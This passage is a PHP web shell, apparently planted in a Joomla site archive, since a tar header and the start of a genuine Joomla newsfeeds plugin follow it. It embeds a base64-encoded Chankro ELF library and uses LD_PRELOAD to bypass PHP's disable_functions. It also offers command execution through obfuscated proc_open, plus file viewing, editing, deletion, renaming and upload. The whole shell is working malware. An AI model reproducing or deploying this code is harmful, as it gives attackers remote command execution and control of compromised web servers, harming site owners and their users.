        $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAAR0NDOiAoRGViaWFuIDYuMy4wLTE4K2RlYjl1MSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAA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';
        $cmdd = $_POST['cmd_input'];
        $meterpreter = $en($cmdd." > test.txt");
        $viewCommandResult = '<hr><p>Result:<textarea class="result-box">base64 : ' . $meterpreter .'&#13;&#10;Please Refresh and Check File test.txt, this output command &#13;&#10;test.txt created = VULN &#13;&#10;test.txt not created = NOT VULN&#13;&#10;example access: domain.com/yourpath/path/test.txt&#13;&#10;Powered By HaxorSecurity&#13;&#10;</textarea>';
        $a($full . '/chankro.so', $base($hook));
        $a($full . '/acpid.socket', $base($meterpreter));
        $p('CHANKRO=' . $full . '/acpid.socket');
        $p('LD_PRELOAD=' . $full . '/chankro.so');
        $m('a','a','a','a');
    }elseif (isset($_POST['delete_file'])) {
        $fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
        if (file_exists($fileToDelete)) {
            if (is_dir($fileToDelete)) {
                if (deleteDirectory($fileToDelete)) {
                    echo '<hr>Folder deleted successfully!';
                } else {
                    echo '<hr>Error: Failed to delete folder!';
                }
            } else {
                if ($unl($fileToDelete)) {
                    echo '<hr>File deleted successfully!';
                } else {
                    echo '<hr>Error: Failed to delete file!';
                }
            }
        } else {
            echo '<hr>Error: File or directory not found!';
        }
    } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
        $oldName = $currentDirectory . '/' . $_POST['old_name'];
        $newName = $currentDirectory . '/' . $_POST['new_name'];
        if (file_exists($oldName)) {
            if (rename($oldName, $newName)) {
                echo '<hr>Item renamed successfully!';
            } else {
                echo '<hr>Error: Failed to rename item!';
            }
        } else {
            echo '<hr>Error: Item not found!';
        }
    }elseif (isset($_POST['cmd_biasa'])) {
            $pp = "p"."r"."o"."c"."_"."o"."p"."e"."n";
            $pc = "f"."c"."l"."o"."s"."e";
            $ppc = "p"."r"."o"."c"."_"."c"."l"."o"."s"."e";
            $stg = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
            $command = $_POST['cmd_biasa'];
            $descriptorspec = [
                0 => ['pipe', 'r'],
                1 => ['pipe', 'w'],
                2 => ['pipe', 'w']
            ];
            $process = $pp($command, $descriptorspec, $pipes);
            if (is_resource($process)) {
                $output = $stg($pipes[1]);
                $errors = $stg($pipes[2]);
                $pc($pipes[1]);
                $pc($pipes[2]);
                $ppc($process);
                if (!empty($errors)) {
                    $viewCommandResult = '<hr><p>Error: </p><textarea class="result-box">' . $htm($errors) . '</textarea>';
                } else {
                    $viewCommandResult = '<hr><p>Result: </p><textarea class="result-box">' . $htm($output) . '</textarea>';
                }
            } else {
                $viewCommandResult = 'Result:</p><textarea class="result-box">Error: Failed to execute command! </textarea>';
            }
    } elseif (isset($_POST['view_file'])) {
        $fileToView = $currentDirectory . '/' . $_POST['view_file'];
        if (file_exists($fileToView)) {
            $fileContent = $fgc($fileToView);
            $viewCommandResult = '<hr><p>Result: ' . $_POST['view_file'] . '</p>
            <form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
            <textarea name="content" class="result-box">' . $htm($fileContent) . '</textarea><td>
            <input type="hidden" name="edit_file" value="' . $_POST['view_file'] . '">
            <input type="submit" value=" Save "></form></td>';
        } else {
            $viewCommandResult = '<hr><p>Error: File not found!</p>';
        }
    }  elseif (isset($_POST['edit_file'])) {
        $ef = $currentDirectory . '/' . $_POST['edit_file'];
        $newContent = $_POST['content'];
        if ($fpc($ef, $newContent) !== false) {
            echo '<hr>File Edited successfully! ' . $_POST['edit_file'].'<hr>';
        } else {
            echo '<hr>Error: Failed Edit File! ' . $_POST['edit_file'].'<hr>';

        }
    }

}

echo '<hr>DIR: ';

$directories = $expl(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = '';
$homeLinkPrinted = false;
foreach ($directories as $index => $dir) {
    $currentPath .= DIRECTORY_SEPARATOR . $dir;
    if ($index == 0) {
        echo '/<a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
    } else {
        echo '/<a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
    }
}

echo '<a href="?d=' . x($scriptDirectory) . '"> / <span style="color: green;">[ GO Home ]</span></a>';
echo '<br>';
echo '<hr><form method="post" enctype="multipart/form-data">';
echo '<hr>';
echo '<input type="file" name="fileToUpload" id="fileToUpload" placeholder="pilih file:">';
echo '<input type="submit" value="Upload File" name="submit">';
echo '</form><hr>';
echo '<table border="5"><tbody>
<tr>
<td>
<center>Command BYPASS<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
<input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form></center></td>

<td><center>Command BIASA<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
<input type="text" name="cmd_biasa" placeholder="Enter command"><input type="submit" value="Run Command"></form><center></td>

<td><center>Create Folder<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
<input type="text" name="folder_name" placeholder="Folder Name"><input type="submit" value="Create Folder"></form><center></td>
<td><center>Create File<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
<input type="text" name="file_name" placeholder="File Name"><input type="submit" value="Create File"></form></td></tr>
</tbody></table>';
echo $viewCommandResult;
echo '<table border=1>';
echo '<br><tr><th><center>Item Name</th><th><center>Size</th><th><center>Date</th><th>Permissions</th><th><center>View</th><th><center>Delete</th><th><center>Rename</th></tr></center></center></center>';
foreach ($scd($currentDirectory) as $v) {
    $u = $ril($v);
    $s = $st($u);
    $itemLink = $isdir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v));
    $permission = substr(sprintf('%o', fileperms($u)), -4);
    $writable = $isw($u);
    echo '<tr>
            <td class="item-name"><a href="'.$itemLink.'">'.$v.'</a></td>
            <td class="size">'.filesize($u).'</td>
            <td class="date" style="text-align: center;">'.date('Y-m-d H:i:s', filemtime($u)).'</td>
            <td class="permission '.($writable ? 'writable' : 'not-writable').'">'.$permission.'</td>
            <td><center><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="view_file" value="'.$htm($v).'"><input type="submit" value=" View "></form></center></td>
            <td><center><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="delete_file" value="'.$htm($v).'"><input type="submit" value="Delete"></form></center></td>
            <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="old_name" value="'.$htm($v).'"><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td>
        </tr>';
        
}

echo '</table>';
function deleteDirectory($dir) {
   $unl = "u"."n"."l"."i"."n"."k";
    if (!file_exists($dir)) {
        return true;
    }
    if (!is_dir($dir)) {
        return $unl($dir);
    }
    $scd = "s"."c"."a"."n"."d"."i"."r";
    foreach ($scd($dir) as $item) {
        if ($item == '.' || $item == '..') {
            continue;
        }
        if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
            return false;
        }
    }
    return rmdir($dir);
}                                                                                                                                                                                                                                                                                                            finder/newsfeeds/newsfeeds.php                                                                      0000705                 00000023656 15242051520 0012500 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Finder.Newsfeeds
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

/**
 * Smart Search adapter for Joomla Newsfeeds.
 *
 * @since  2.5
 */
class PlgFinderNewsfeeds extends FinderIndexerAdapter
{
	/**
	 * The plugin identifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'Newsfeeds';

